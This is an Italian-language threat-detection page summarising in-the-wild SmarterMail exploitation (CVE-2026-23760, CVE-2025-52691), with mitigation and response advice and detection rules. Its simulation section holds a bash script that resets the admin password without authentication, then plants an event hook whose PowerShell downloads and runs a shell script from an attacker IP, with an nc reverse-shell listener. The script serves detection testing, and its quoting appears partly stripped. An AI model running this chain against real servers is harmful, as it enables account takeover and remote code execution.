DE&TH alle Vulnerabilità: Huntress Intercetta un’Acquisizione di Account SmarterMail Che Porta a RCE
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Huntress ha osservato l’abuso in-the-wild di due falle di SmarterMail che consentono la presa di controllo di account privilegiati e, infine, l’esecuzione di codice remoto. Gli aggressori iniziano flussi di reset password non autenticati per ottenere un token privilegiato, quindi abusano dei “system events” di SmarterMail per eseguire comandi per il riconoscimento dell’host. L’attività ha impattato diversi clienti e ha mostrato segni di sfruttamento ampio e automatizzato su larga scala.
Indagine
Gli analisti di Huntress hanno ricostruito una sequenza coerente di richieste HTTP POST contro gli endpoint API di SmarterMail utilizzati per attivare i reset password, autenticare, configurare system events, aggiungere domini controllati dall’attaccante, e successivamente rimuovere tracce. La catena prende di mira CVE-2026-23760 (presa di controllo di account privilegiati) e CVE-2025-52691 (caricamento arbitrario di file). Le richieste utilizzavano comunemente l’user-agent python-requests/2.32.4, e gli operatori lasciavano file result.txt contenenti l’output del riconoscimento dei comandi eseguiti.
Mitigazione
Aggiornare SmarterMail alla build 9511 o successiva per affrontare entrambe le CVE. Rivedere e restringere l’esposizione delle API, disabilitare o limitare i system events non necessari, e monitorare attività API anomale che alterano account, eventi o domini. Identificare e rimuovere eventuali system events o domini creati dagli attaccanti per eliminare la persistenza.
Risposta
Rileva il pattern di chiamata API sospetto e l’user-agent python-requests/2.32.4, blocca gli IP sorgente offensivi, e cancella i system events malevoli. Ruota immediatamente le credenziali privilegiate. Esegui indagini forensi sugli endpoint per individuare result.txt e convalidare se sono stati posti payload aggiuntivi. Notifica agli utenti/clienti impattati e fornisci una chiara guida di rimedio.
Flusso di Attacco
Rilevamenti
Tentativo di Sfruttamento CVE-2026-23760 (SmarterMail) (via webserver)
Visualizza
IOC (DestinationIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 2
Visualizza
IOC (DestinationIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 1
Visualizza
IOC (SourceIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 1
Visualizza
IOC (SourceIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 2
Visualizza
Presa di Controllo dell’Account SmarterMail portando a RCE [Webserver]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.
Narrativa dell’Attacco e Comandi
- Ricognizione: L’attaccante scopre che l’istanza SmarterMail esegue una versione vulnerabile a CVE‑2026‑23760.
- Forza Reset Password (T1098): Utilizzando il
force-reset-passwordendpoint non autenticato per impostare una password conosciuta per iladminaccount privilegiato. - Autenticare (T1078): Accedi con le nuove credenziali impostate tramite
authenticate-userendpoint, ottenendo un token di sessione. - Distribui Malicious Event Hook (T1569): POST di un payload JSON creato su
event-hookche punta a una reverse shell PowerShell ospitata sul server dell’attaccante. - Esecuzione Trigger: L’event-hook viene eseguito automaticamente sul webserver, generando una reverse shell per l’attaccante.
- Pulizia: Rimuovi l’hook malevolo tramite
event-hook-deleteendpoint (escluso dal rilevamento).
Tutti i passaggi generano eventi HTTP POST che corrispondono ai parametri di selezione della regola Sigma. selection criteri.
Script di Test di Regressione
#!/usr/bin/env bash
# -------------------------------------------------
# Simulazione di Presa di Controllo Account SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Forza il reset della password (non autenticato)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Autenticazione e cattura del token di sessione
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Distribuzione del hook malevolo (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] Hook malevolo distribuito. In attesa della reverse shell..."
# 4. (Opzionale) Attendere la reverse shell – l'attaccante esegue listener separatamente:
# nc -lvnp ${ATTACKER_PORT}
# 5. Pulizia – rimuovere l'hook (escluso dal rilevamento)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Comandi di Pulizia
#!/usr/bin/env bash
# Rimuovi eventuali hook malevoli residui e resetta la password amministratore
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Autentica con la password sicura (se nota) o usa il token precedente
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Elimina il hook malevolo (se ancora presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Resetta la password dell'amministratore a un valore sicuro conosciuto
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"